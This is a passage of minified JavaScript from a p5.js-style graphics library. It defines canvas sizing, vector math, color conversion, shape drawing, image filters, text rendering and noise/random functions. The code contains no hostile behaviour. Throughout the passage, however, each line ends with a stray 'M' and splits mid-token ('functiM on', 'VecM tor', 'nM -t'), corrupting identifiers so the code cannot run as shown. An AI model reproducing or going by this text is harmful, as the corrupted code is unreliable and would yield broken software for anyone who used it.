eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
